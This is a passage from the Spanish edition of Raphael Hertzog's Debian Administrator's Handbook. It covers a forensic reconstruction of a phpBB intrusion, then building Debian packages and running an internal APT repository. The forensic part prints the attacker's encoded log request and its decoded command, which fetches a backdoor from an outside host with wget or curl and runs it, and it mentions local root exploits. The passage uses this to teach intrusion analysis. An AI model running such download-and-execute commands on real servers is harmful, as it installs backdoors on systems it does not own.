particular, The Coroner Toolkint (en elpaquete tct) es una colección de estetipo de herramientas. Incluye variosprogramas, entre ellos: grave-robberpuede recopilar datos de un sistemacomprometido en ejecución, lazarusextrae datos generalmente interesantesde regiones no reservadas del disco ypcat puede copiar la memoria utilizadapor un proceso; también incluye otrasherramientas de extracción de datos.

El paquete sleuthkit provee otras pocasherramientas para analizar un sistemade archivos. Es más sencillo utilizarlocon la interfaz gráfica AutopsyForensic Browser («navegador forensede autopsias», en el paquete autopsy).

Page 1842: El Libro Del Administrador de Debian - Raphael Hertzog

14.6.6. Reconstruccióndel escenario deataqueTodos los elementos recolectadosdurante el análisis deberían encajarcomo piezas de un rompecabezas;usualmente hay una correlación entrela creación de los primeros archivossospechosos con los registros quemuestran la intrusión. Un ejemplo realdebería ser más explícito que largosdesvaríos teóricos.

El siguiente registro es un extracto deun archivo access.log de Apache:

Page 1843: El Libro Del Administrador de Debian - Raphael Hertzog

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Este ejemplo coincide con elaprovechamiento de una antiguavulnerabilidad de phpBB.

→ http://secunia.com/advisories/13239/

→ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decodificar esta URL lleva a entenderque el atacante logró ejecutar uncódigo PHP, en particular: system("cd/tmp; wget gabryk.altervista.org/bd ||curl gabryk.altervista.org/bd -o bd;chmod +x bd; ./bd &"). En efecto,encontramos un archivo bd en /tmp/.

Page 1844: El Libro Del Administrador de Debian - Raphael Hertzog

La ejecución de strings /mnt/tmp/bddevuelve, entre otras cadenas,PsychoPhobia Backdoor is

starting.... Esto realmente pareceuna puerta trasera.

Un tiempo después, se utilizó esteacceso para descargar, instalar yejecutar un bot IRC que se conectó auna red IRC clandestina. Luego sepodía controlar el bot mediante esteprotocolo y ordenarle descargararchivos para compartir. Este programainclusive tiene su propio archivo deregistro:

** 2004-11-29-19:50:15: NOTICE: :[email protected] NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from [email protected]

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

Page 1845: El Libro Del Administrador de Debian - Raphael Hertzog

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Estas trazas muestran que sealmacenaron dos archivos de video enel servidor desde la dirección IP82.50.72.202.

En paralelo, el atacante tambiéndescargo un par de archivosadicionales, /tmp/pt y /tmp/loginx.Ejecutar strings en estos archivos nos

Page 1846: El Libro Del Administrador de Debian - Raphael Hertzog

provee cadenas como Shellcode placedat 0x%08lx («código de consolaubicado en 0x%08lx») y Now wait forsuid shell... («esperando consolasuid...»). Estos parecen programas queaprovechan vulnerabilidades localespara obtener privilegios deadministrador. ¿Consiguieron suobjetivo? En este caso, probablementeno, ya que no parecen existir archivosmodificados luego de la intrusiónoriginal.

En este ejemplo, se reconstruyó laintrusión completa y podemos deducirque el atacante pudo aprovechar elsistema comprometido por alrededorde tres días; pero el elemento más

Page 1847: El Libro Del Administrador de Debian - Raphael Hertzog

importante del análisis es que seidentificó la vulnerabilidad y eladministrador puede asegurarse que lanueva instalación realmente solucionala vulnerabilidad.

Page 1848: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 15. Creaciónde un paqueteDebianEs muy común para un administradorDebian que gestiona diariamentepaquetes Debian finalmente sentir lanecesidad de crear sus propios paqueteso modificar un paquete existente. Estecapítulo pretende dar respuesta a laspreguntas más comunes en este campoy proporcionar los elementosnecesarios para aprovechar lo mejorposible la infraestructura de Debian.Con un poco de suerte, después de

Page 1849: El Libro Del Administrador de Debian - Raphael Hertzog

probar con paquetes locales, inclusopuede sentir la necesidad de ir más alláy ¡unirse al proyecto Debian en sí!

15.1. Recompilaciónde un paquetedesde sus fuentesSon varias las cirunstancias bajo lasque es necesario reconstruir un paquetebinario. En algunos casos, eladministrador necesita unafuncionalidad del software para la quenecesitará compilarlo desde sus fuentescon alguna opción de compilación

Page 1850: El Libro Del Administrador de Debian - Raphael Hertzog

particular; en otras, el softwareempaquetado para la versión de Debianinstalada no es suficientementereciente. En el último caso, eladministrador generalmente compilaráun paquete más reciente que obtendráde una versión más reciente de Debian— como Testing o inclusive Unstable— para que este nuevo paquetefuncione con su distribución Stable;esta operación es llamada«retroadaptación» («backporting»).Como siempre, antes de embarcarse enesta tarea, se debe revisar si no fuehecha ya. Puede hacerlo en el sitiobackports.debian.org.

15.1.1. Obtención de

Page 1851: El Libro Del Administrador de Debian - Raphael Hertzog

15.1.1. Obtención delas fuentesLo primero para recompilar un paqueteDebian es obtener su código fuente. Laforma más sencilla es utilizando apt-get source nombre-paquete-fuente.Para ello necesitará una línea deb-srcen el archivo /etc/apt/sources.listy archivos de índice actualizados (esdecir: apt-get update). Si siguió lasinstrucciones en el capítulo sobre laconfiguración de APT (revise laSection 6.1, “Completando el archivosources.list”) debería cumplir estascondiciones. Sepa, sin embargo, quedescargará los paquetes fuente de laversión Debian mencionada en la línea

Page 1852: El Libro Del Administrador de Debian - Raphael Hertzog

deb-src. Si necesita otra versiónprobablemente necesite descargarlamanualmente de un repositorio Debiano desde el sitio web. Para ello debeobtener dos o tres archivos (conextensiones *.dsc — por control defuente Debian: «Debian SourceControl» — *.tar.comp y a veces*.diff.gz o *.debian.tar.comp —donde el valor de comp es uno de gz,bz2, lzma o xz dependiendo de laherramienta de compresión utilizada),luego ejecute dpkg-source -xarchivo.dsc. Si puede accederdirectamente al archivo *.dsc a travésde una URL existe una forma mássencilla de obtener todo ejecutandodget URL. Este programa (que puede

Page 1853: El Libro Del Administrador de Debian - Raphael Hertzog

encontrar en el paquete devscripts)obtiene el archivo *.dsc en ladirección provista, analiza su contenidoy obtiene automáticamente el o losarchivos a los que hace referencia. Conla opción -x inclusive se descomprimelocalmente el paquete fuente una vezque fue descargado.

15.1.2. Realización decambiosAhora tiene las fuentes del paquetedisponibles en un directorio cuyonombre coincide con el paquete fuentey su versión (por ejemplo: samba-

Page 1854: El Libro Del Administrador de Debian - Raphael Hertzog

3.0.24); allí es donde trabajaremos ennuestros cambios locales.

Lo primero que debemos hacer escambiar el número de versión delpaquete para que podamos distinguir elpaquete recompilado del paqueteoriginal que provee Debian. Siasumimos que la versión actual es3.0.24-6 podemos crear la versión3.0.24-6.falcot1, que indicaclaramente el origen del paquete. Estoademás hace que el número de versióndel paquete sea mayor al del queprovee Debian para que el paquete seinstalará fácilmente como unaactualización al paquete original. Lamejor forma de realizar dicho cambio

Page 1855: El Libro Del Administrador de Debian - Raphael Hertzog

es con el programa dch (por cambiosDebian: «Debian CHangelog») delpaquete devscripts ejecutando algosimilar a dch -v 3.0.24-6.falcot1. Estaejecución invoca un editor de texto(sensible-editor — este debería ser tueditor favorito si es mencionado en lasvariables de entorno VISUAL o EDITORo el editor predeterminado de locontrario) que nos permitirádocumentar las diferenciasintroducidas en esta recompilación.Este editor nos mostrará que dchrealmente cambió el archivodebian/changelog.

Cuando necesitamos cambiar lasopciones de compilación, debemos

Page 1856: El Libro Del Administrador de Debian - Raphael Hertzog

realizar cambios a debian/rules, elcual se encarga de todos los pasos en elproceso de compilación del paquete. Enlos casos más simples, es sencilloencontrar las líneas sobre laconfiguración inicial (./configure …)o la compilación en sí ($(MAKE) … omake …). Si no se ejecutanespecíficamente estos programasprobablemente son un efectosecundario de otra orden explícita, encuyo caso refiérase a la documentaciónde las mismas para aprender cómocambiar el comportamientopredeterminado.

Dependiendo de los cambios locales alos paquetes, también podría necesitar

Page 1857: El Libro Del Administrador de Debian - Raphael Hertzog

actualizar el archivo debian/control,que contiene una descripción de lospaquetes generados. En particular, estepaquete contiene líneas Build-Depends que controlan la lista dedependencias que se deben cumplir enel momento de compilar un paquete.Éstas líneas generalmente hacenreferencia a las versiones de lospaquetes que se encuentran en ladistribución de la que proveen lospaquetes fuente pero que pueden noestar disponibles en la distribución enla que estamos recompilando. No hayuna forma automatizada paradeterminar si una dependencia es real osólo está presente para garantizar quesólo se intente compilar con la última

Page 1858: El Libro Del Administrador de Debian - Raphael Hertzog

versión de una biblioteca — esta es laúnica forma de forzar que autobuilderutilice una versión específica de unpaquete durante su compilación, por loque los desarrolladores Debianfrecuentemente utilizan dependenciasde compilación con versiones estrictas.

Si está seguro que estas dependenciasde compilación son muy estrictas,siéntase libre de relajarlas localmente.Lea los archivos que documentan laforma estándar de compilar el software— generalmente estos archivos sonllamados INSTALL — le ayudarán aencontrar las dependencias adecuadas.Idealmente, podrá satisfacer todas lasdependencias en la distribución que

Page 1859: El Libro Del Administrador de Debian - Raphael Hertzog

utilice para recompilar; de lo contrario,comienza un proceso recursivo en elque debemos retroadaptar los paquetesmencionados en el campo Build-Depends antes de poder finalizar con elpaquete deseado. Algunos paquetespueden no necesitar ser retroadaptadosy puede instalarlos tal cual durante elproceso de compilación (un ejemplonotable es debhelper). Sepa que elproceso de retroadaptación puedevolverse muy complejo rápidamente sino tiene cuidado. Por lo tanto, debemantener al mínimo lasretroadaptaciones siempre que seaposible.

SUGERENCIA Instalación de Build-

Page 1860: El Libro Del Administrador de Debian - Raphael Hertzog

Depends

apt-get permite instalar todos lospaquetes mencionados en los camposBuild-Depends de un paquete fuentedisponible en una distribuciónmencionada en una línea deb-src delarchivo /etc/apt/sources.list. Esto essimple cuestión de ejecutar apt-get build-dep paquete-fuente.

15.1.3. Inicio de larecompilaciónCuando aplicamos los cambiosnecesarios a las fuentes, podemoscomenzar la generación del paquete

Page 1861: El Libro Del Administrador de Debian - Raphael Hertzog

binario (archivo .deb). El programadpkg-buildpackage gestiona todo elproceso.

Example 15.1. Recompilación delpaquete

$ dpkg-buildpackage -us -uc

[...]

HERRAMIENTA fakeroot

En esencia, el proceso de creación de unpaquete es simple cuestión de reunir enun compendio un conjunto de archivosexistentes (o compilados); en dichocompendio root será el dueño de lamayoría de los archivos del compendio.Sin embargo, crear todo el paquete bajoeste usuario aumentaría los riesgos;

Page 1862: El Libro Del Administrador de Debian - Raphael Hertzog

afortunadamente, podemos evitar estocon el programa fakeroot. Podemosutilizar esta herramienta para ejecutar unprograma y darle la impresión que estáejecutando como root y crea archivos conpermisos y dueños arbitrarios. Cuando elprograma crea el compendio que será elpaquete Debian, se lo engaña para quecree un compendio con archivos condueños arbitrarios, incluyendo root. Estaconfiguración es tan conveniente quedpkg-buildpackage utiliza fakeroot deforma predeterminada cuando generapaquetes.

Sepa que sólo se engaña al programa paraque «crea» que funciona bajo una cuentacon privilegios, pero el proceso realmenteejecuta como el usuario que ejecutófakeroot programa (y se crean losarchivos con los permisos de dicho

Page 1863: El Libro Del Administrador de Debian - Raphael Hertzog

usuario). En ningún momento realmenteobtiene privilegios de root que puedaabusar.

El programa anterior puede fallar si nose actualizaron los campos Build-Depends o si no están instalados lospaquetes relacionados. En tal caso, esposible evitar este chequeo con laopción -d de dpkg-buildpackage. Sinembargo, al ignorar explícitamenteestas dependencias corre el riesgo deque el proceso de compilación falle enuna etapa posterior. Lo que es peor, elpaquete puede parecer compilarcorrectamente pero no ejecutarcorrectamente: algunos programasdesactivan automáticamente algunas de

Page 1864: El Libro Del Administrador de Debian - Raphael Hertzog

sus funcionalidades cuando unabiblioteca necesaria no está disponibleal momento de compilarlo.

La mayoría de las veces, losdesarrolladores Debian utilizan unprograma de alto nivel como debuild;éste ejecuta dpkg-buildpackagenormalmente, pero también agrega unainvocación de un programa que ejecutamuchos chequeos para validar elpaquete generado según la normativaDebian. Este script también limpia elentorno para que las variables deentorno locales no «contaminen» lacompilación del paquete. El programadebuild es una de las herramientas dedevscripts, que comparte un poco de

Page 1865: El Libro Del Administrador de Debian - Raphael Hertzog

consistencia y configuración parafacilitar la tarea del desarrollador.

VISTA RÁPIDA pbuilder

El programa pbuilder (en el paquete delmismo nombre) permite crear un paqueteDebian en un entorno chroot. Primerocrea un directorio temporal que contieneel sistema mínimo necesario para crear elpaquete (incluyendo los paquetesmencionados en el campo Build-Depends). Luego utiliza este directoriocomo raíz (/) con el programa chrootdurante el proceso de compilación.

Esta herramienta permite que el procesode compilación ocurra en un entorno queno fue modificado por el usuario. Estotambién permite una detección rápida de

Page 1866: El Libro Del Administrador de Debian - Raphael Hertzog

las dependencias de compilación faltantes(ya que la compilación fallará a menosque las dependencias apropiadas esténdocumentadas). Finalmente, permite crearun paquete para una versión de Debianque no es la instalada en el sistema: elequipo puede estar utilizando Stable parasu trabajo normal, pero pbuilder en elmismo equipo puede utilizar Unstablepara compilar paquetes.

Page 1867: El Libro Del Administrador de Debian - Raphael Hertzog

15.2. Creación desu primer paquete

15.2.1. Metapaqueteso paquetes falsosLos paquetes falsos y los metapaquetesson similares en que son cascaronesvacíos que sólo existen por los efectosque tienen sus metadatos en el sistemade gestión de paquetes.

El propósito de un paquete falso esengañar a dpkg y apt para que crean

Page 1868: El Libro Del Administrador de Debian - Raphael Hertzog

que un paquete está instalado. Estopermite satisfacer las dependencias deun paquete cuando se instaló elsoftware correspondiente fuera delalcance del sistema de paquetes. Estemétodo funciona, pero debería evitarlosiempre que sea posible ya que no haygarantías que el software instaladomanualmente se comporta exactamentede la misma forma que el paquetecorrespondiente y que otros paquetesque dependan de él funcionaráncorrectamente.

Por el otro lado, un metapaquete existeprincipalmetne como una colección dedependencias, para que su instalaciónincluya un conjunto de otros paquetes

Page 1869: El Libro Del Administrador de Debian - Raphael Hertzog

en un solo paso.

Puede crear ambos tipos de paquetescon los programas equivs-control yequivs-build (en el paquete equivs). Siejecuta equivs-control archivo crearáun archivo de cabecera de un paqueteDebian que debe editar para quecontenga el nombre esperado delpaquete, su número de versión, elnombre de su encargado, susdependencias y su descripción. Puedeeliminar todos los demás campos sinun valor predeterminado ya que sonopcionales. Los campos Copyright,Changelog, Readme y Extra-Files noson campos estándar en los paquetesDebian, sólo tienen sentido dentro del

Page 1870: El Libro Del Administrador de Debian - Raphael Hertzog

alcance de equivs-build y no seránmantenidos en las cabeceras delpaquete generado.

Example 15.2. Archivo de cabeceradel paquete falso libxml-libxml-perl

Section: perl

Priority: optional

Standards-Version: 3.8.4

Package: libxml-libxml-perl

Version: 1.57-1

Maintainer: Raphael Hertzog <[email protected]>

Depends: libxml2 (>= 2.6.6)

Architecture: all

Description: Fake package - module manually installed in site_perl

This is a fake package to let the packaging system

believe that this Debian package is installed.

.

In fact, the package is not installed since a newer version

Page 1871: El Libro Del Administrador de Debian - Raphael Hertzog

of the module has been manually compiled & installed in the

site_perl directory.

EL siguiente paso es generar el paqueteDebian ejecutando equivs-buildarchivo. Voilà: se creó el paquete enel directorio actual y lo puede utilizarcomo cualquier otro paquete Debian.

15.2.2. Simplecompendio dearchivosLos administradores de Falcot Corpnecesitaron crear un paquete Debianpara facilitar el despliegue de un

Page 1872: El Libro Del Administrador de Debian - Raphael Hertzog

conjunto de documentos en una grancantidad de equipos. El administrador acargo de esta tarea primero leyó la«Guía del nuevo desarrollador deDebian» y luego comenzó a trabajar ensu primer paquete.

→ http://www.debian.org/doc/maint-guide/index.es.html

El primer paso es crear un directoriofalcot-data-1.0 que contendrá elpaquete fuente objetivo. El paquete,lógicamente, se llamará falcot-datay tendrá el número de versión 1.0. Eladministrador luego ubicará losarchivos de documentos en unsubdirectorio data. Luego ejecutará

Page 1873: El Libro Del Administrador de Debian - Raphael Hertzog

dh_make (del paquete dh-make) paraagregar los archivos necesarios para elproceso de generación del paquete, queserán almacenados en un subdirectoriodebian:

$ cd falcot-data-1.0

$ dh_make --native

Type of package: single binary, indep binary, multiple binary, library, kernel module, kernel patch or cdbs?

[s/i/m/l/k/n/b] i

Maintainer name : Raphael Hertzog

Email-Address : [email protected]

Date : Mon, 11 Apr 2011 15:11:36 +0200

Package Name : falcot-data

Version : 1.0

License : blank

Usind dpatch : no

Type of Package : Independent

Page 1874: El Libro Del Administrador de Debian - Raphael Hertzog

Hit <enter> to confirm:

Currently there is no top level Makefile. This may require additional tuning.

Done. Please edit the files in the debian/ subdirectory now. You should also

check that the falcot-data Makefiles install into $DESTDIR and not in / .

$

El tipo de paquete seleccionado(binario único: «single binary») indicaque este paquete fuente generará sóloun paquete binario que depende de laarquitectura (Architecture: any.Binario independiente («indep binary»)es lo contrario y generará sólo unpaquete binario que no depende de laarquitectura objetivo (Architecture:all). En este caso, esta última opciónes más relevante ya que el paquete sólocontendrá documentos y ningúnprograma binario, por lo que se lo

Page 1875: El Libro Del Administrador de Debian - Raphael Hertzog

puede utilizar de la misma forma enequipos de cualquier arquitectura.

El tipo binario múltiple («multiplebinary») corresponde a un paquetefuente que generará varios paquetesbinarios. Un caso particular, biblioteca(«library»), es útil para bibliotecascompartidas ya que necesitan seguirreglas de empaquetado estrictas. Deforma similar, debería restringir el usode módulo de núcleo («kernel module»)a paquetes que contengan módulos denúcleo. Finalmente, cdbs es un sistemade creación de paquetes específico; esbastante flexible pero necesita un pocode aprendizaje.

Page 1876: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA Nombre y dirección decorreo del encargado

La mayoría de los programasinvolucrados al mantener paquetesbuscarán su nombre y dirección de correoen las variables de entorno DEBFULLNAME yDEBEMAIL o EMAIL. Definirlas de una vez ypara siempre le evitará tener queingresarlas varias veces. Si su consolausual es bash, es simple cuestión deagregar las siguientes dos líneas a susarchivos ~/.bashrc y ~/.bash_profile(¡obviamente reemplazará los valores conunos más relevantes!):

export EMAIL="[email protected]"

export DEBFULLNAME="Raphael Hertzog"

El programa dh_make crea un

Page 1877: El Libro Del Administrador de Debian - Raphael Hertzog

subdirectorio debian con muchosarchivos. Algunos son necesarios, enparticular rules, control, changelogy copyright. Los archivos conextensión .ex son archivos de ejemploque puede utilizar modificándolos (yeliminando la extensión) cuandonecesite. Si no los necesita, lerecomendamos eliminarlos. Debemantener el archivo compat ya que esnecesario para que funcionecorrectamente la suite de programasdebhelper (todos los que comienzancon el prefijo dh_) que son utilizadosen varias etapas del proceso decreación del paquete.

El archivo copyright debe contener la

Page 1878: El Libro Del Administrador de Debian - Raphael Hertzog

información sobre los autores de losdocumentos incluidos en el paquete ylas licencias relacionadas. En nuestrocaso, éstos son documentos internos ysu uso está restringido al interior de laempresa Falcot Corp. El archivochangelog predeterminadogeneralmente es apropiado; reemplace«Initial release» con una explicaciónmás detallada y basta con cambiar ladistribución de unstable a internal.También actualizamos el archivocontrol: modificamos la sección amisc y eliminamos los camposHomepage, Vcs-Git y Vcs-Browser.Completamos los campos Depends coniceweasel | www-browser paraasegurar que exista un navegador web

Page 1879: El Libro Del Administrador de Debian - Raphael Hertzog

disponible capaz de mostrar losdocumentos en el paquete.

Example 15.3. El archivo control

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <[email protected]>

Build-Depends: debhelper (>= 7.0.50~)

Standards-Version: 3.8.4

Package: falcot-data

Architecture: all

Depends: iceweasel | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp. This includes:

- organization diagram

- contacts for each department.

.

Page 1880: El Libro Del Administrador de Debian - Raphael Hertzog

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

Example 15.4. El archivo changelog

falcot-data (1.0) internal; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <[email protected]> Mon, 11 Apr 2011 20:46:33 +0200

Example 15.5. El archivo copyright

This work was packaged for Debian by Raphael Hertzog <[email protected]>

on Mon, 11 Apr 2011 20:46:33 +0200

Copyright:

Copyright (C) 2004-2011 Falcot Corp

License:

Page 1881: El Libro Del Administrador de Debian - Raphael Hertzog

All rights reserved.

VOLVER A LOS CIMIENTOS El archivoMakefile

Un archivo Makefile es un script utilizadopor el programa make; describe las reglaspara crear un conjunto de archivos desdeotros en un árbol de dependencias (porejemplo, podemos compilar un programadesde un conjunto de archivos fuente). Elarchivo Makefile describe estas reglas enel siguiente formato:

objetivo: fuentes

orden1

orden2

La interpretación de esta regla es comosigue: si uno de los archivos fuentes esmás reciente que el archivo objetivo,

Page 1882: El Libro Del Administrador de Debian - Raphael Hertzog

entonces es necesario generar el objetivoutilizando orden1 y orden2.

Sepa que las líneas de órdenes debencomenzar con un carácter de tabulación;también debe saber que cuando una líneade órdenes comienza con un carácater deguión (-), si éste falla no interrumpirátodo el proceso.

El archivo rules generalmentecontiene un conjunto de reglasutilizadas para configurar, compilar einstalar el software en un subdirectoriodedicado (cuyo nombre coincide con eldel paquete binario generado). Luegose incluye el contenido de estesubdirectorio en el compendio del

Page 1883: El Libro Del Administrador de Debian - Raphael Hertzog

paquete Debian como si fuera la raízdel sistema de archivos. En nuestrocaso, se instalarán los archivos en elsubdirectorio debian/falcot-data/usr/share/falcot-data/ paraque el paquete generado despliegue losarchivos en /usr/share/falcot-data/. Se utiliza el archivo rulescomo si fuera un archivo Makefile,con unos pocos objetivos estándar(incluyendo clean y binary, utilizadospara limpiar el directorio fuente ygenerar el paquete binariorespectivamente).

Si bien este archivo es el corazón delproceso, cada vez más contiene sólo elmínimo indispensable para ejecutar un

Page 1884: El Libro Del Administrador de Debian - Raphael Hertzog

conjunto estándar de programas queprovee la herramienta debhelper. Tales el caso de los archivos generadospor dh_make. Para instalar nuestrosarchivos simplemente configuraríamosel comportamiento de dh_installcreando el siguiente archivodebian/falcot-data.install:

data/* usr/share/falcot-data/

En este punto, podemos crear el paqute.Sin embargo, agregaremos una capa depintura. Debido a que losadministradores desean que se puedaacceder fácilmente a los documentosdesde el menú de ayuda del entornográfico de escritorio, crearemos un

Page 1885: El Libro Del Administrador de Debian - Raphael Hertzog

elemento en el sistema de menúsDebian. Haremos esto simplementecambiando el nombre dedebian/menu.ex para eliminar suextensión y editándolo como sigue:

Example 15.6. El archivo menu

?package(falcot-data):needs=X11|wm section=Help\

title="Internal Falcot Corp Documentation" \

command="/usr/bin/x-www-browser /usr/share/falcot-data/index.html"

?package(falcot-data):needs=text section=Help\

title="Internal Falcot Corp Documentation" \

command="/usr/bin/www-browser /usr/share/falcot-data/index.html"

Cuando definimos al campo needscomo X11|wm, indicamos que esteelemento sólo tiene sentido en unainterfaz gráfica. Por lo tanto, sólo seráintegrado en los menús de aplicaciones

Page 1886: El Libro Del Administrador de Debian - Raphael Hertzog

gráficas (X11) y gestores de ventanas(de allí wm). El campo section indicaen qué parte del menú debería mostrarel elemento. En nuestro caso, nuestroelemento se encontrará en el menú«Help». El campo title contiene eltexto que será mostrado en el menú.Finalmente, el campo commanddescribe el programa a ejecutar cuandoel usuario seleccione el elemento delmenú.

El segundo elemento coincide con elprimero, con ligeras adaptaciones pararel modo de texto de la consola Linux.

NORMATIVA DEBIAN Organización delmenú

Page 1887: El Libro Del Administrador de Debian - Raphael Hertzog

Los menús Debian están organizados enuna estructura formal, documentada en eltexto siguiente:

→ http://www.debian.org/doc/packaging-manuals/menu-policy/

Debe elegir el campo section de unarchivo menu de entre alguno de losmencionados en la lista de dichodocumento.

Simplemente crear el archivodebian/menu es suficiente para activarel menú en el paquete ya que dhejecutará automáticamente el programadh_installmenu durante el proceso decreación del paquete.

Page 1888: El Libro Del Administrador de Debian - Raphael Hertzog

Ahora nuestro paquete fuente está listo.Todo lo que falta es generar el paquetebinario con el mismo método queutilizamos para recompilar paquetes:ejecutaremos dpkg-buildpackage -us -uc desde el directorio falcot-data-1.0.

Page 1889: El Libro Del Administrador de Debian - Raphael Hertzog

15.3. Creación deun repositorio depaquetes paraAPTFalcot Corp gradualmente comenzó amantener una cantidad de paquetesDebian con modificaciones locales depaquetes existentes o creados desdecero para distribuir datos y programasinternos.

Para facilitar su despliegue, deseanintegrarlos en un repositorio de

Page 1890: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes que APT pueda utilizardirectamente. Por razones demantenimiento obvias, desean separarlos paquetes internos de aquellosrecompilados localmente. El objetivoes que los elementos correspondientesdel archivo /etc/apt/sources.listsean los siguientes:

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

Por lo tanto, los administradoresconfiguraron un servidor virtual en suservidor HTTP interno, con/srv/vhosts/packages/ como razísdel espacio web asociado. Delegaron lagestión del repositorio en sí al

Page 1891: El Libro Del Administrador de Debian - Raphael Hertzog

programa mini-dinstall (en el paquetedel mismo nombre). Esta herramientarevisa el directorio incoming/ (ennuestro caso:/srv/vhosts/packages/mini-

dinstall/incoming) y espera allí alos nuevos paquetes; cuando se sube unpaquete, lo instala en un repositorio en/srv/hosts/packages/. El programamini-dinstall lee el archivo *.changescreado cuando se genera el paqueteDebian. Estos archivos contienen unalista de todos los otros archivosasociados a la versión del paquete(*.deb, *.dsc,*.diff.gz/*.debian.tar.gz,*.orig.tar.gz o sus equivalentes conotras herramientas de compresión) que

Page 1892: El Libro Del Administrador de Debian - Raphael Hertzog

le permiten a mini-dinstall saber quéarchivos instalar. Los archivos*.changes también contienen elnombre de la distribución objetivo(generalmente unstable) mencionadaen el último campo de la entrada endebian/changelog y mini-dinstallutiliza esta información para decidirdónde instalar el paquete. Es por estoque los administradores siempre debencambiar este campo antes de compilarun paquete y definirlo como internalo updates, dependiendo de laubicación objetivo. mini-dinstallgenerará luego los archivos necesariospara APT, como Packages.gz.

ALTERNATIVA apt-ftparchive

Page 1893: El Libro Del Administrador de Debian - Raphael Hertzog

Si mini-dinstall le parece demasiadocomplejo para sus necesidades derepositorios Debian, también puedeutilizar el programa apt-ftparchive. Estaherramienta explora el contenido de undirectorio y muestra (por su salidaestándar) el archivo Packagescorrespondiente. En el caso de FalcotCorp, los administradores pueden subirsus paquetes directamente a/srv/vhosts/packages/updates/ o/srv/vhosts/packages/internal/ y luegoejecutar lo siguiente para crear losarchivos Pacakges.gz:

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

Ejecutar apt-ftparchive sources permite

Page 1894: El Libro Del Administrador de Debian - Raphael Hertzog

crear archivos Sources.gz de formasimilar.

La configuración de mini-dinstallnecesita definir un archivo ~/.mini-dinstall.conf; en el caso de FalcotCorp, su contenido es el siguiente:

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = [email protected]

generate_release = 1

release_origin = Falcot Corp

release_codename = stable

Page 1895: El Libro Del Administrador de Debian - Raphael Hertzog

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

Una decisión importante es lageneración de archivos Release paracada repositorio. Esto puede ayudar agestionar las prioridades de instalaciónutilizando el archivo de configuración/etc/apt/preferences (revise elcapítulo sobre la configuración de APTpara más detalles).

SEGURIDAD mini-dinstall y permisos

Debido a que se diseñó a mini-dinstallpara ejecutar como un usuario nomral, noes necesario ejecutarlo como root. La

Page 1896: El Libro Del Administrador de Debian - Raphael Hertzog

forma más sencilla es configurar todo enla cuenta de usuario que pertenezca aladministrador encargado de crear lospaquetes Debian. Debido a que sólo esteadministrador tiene los permisosnecesarios para guardar archivos en eldirectorio incoming/ podemos deducirque éste autenticó el origen de cadapaquetes antes de desplegarlo y mini-dinstall no necesita hacerlo nuevamente.Esto explica el parámetros verify_sigs =0 (que significa que no se necesitaverificar firmas). Sin embargo, si elcontenido del paquete es sensible,podemos revertir esta configuración yseleccionar autenticar con un conjunto dellaves que contenga aquellas de laspersonas que tienen permitido crearpaquetes (configurado con el parámetroextra_keyrings); mini-dinstall luegoverificará el origen de cada paquete

Page 1897: El Libro Del Administrador de Debian - Raphael Hertzog

entrante analizando la firma integrada enel archivo *.changes.

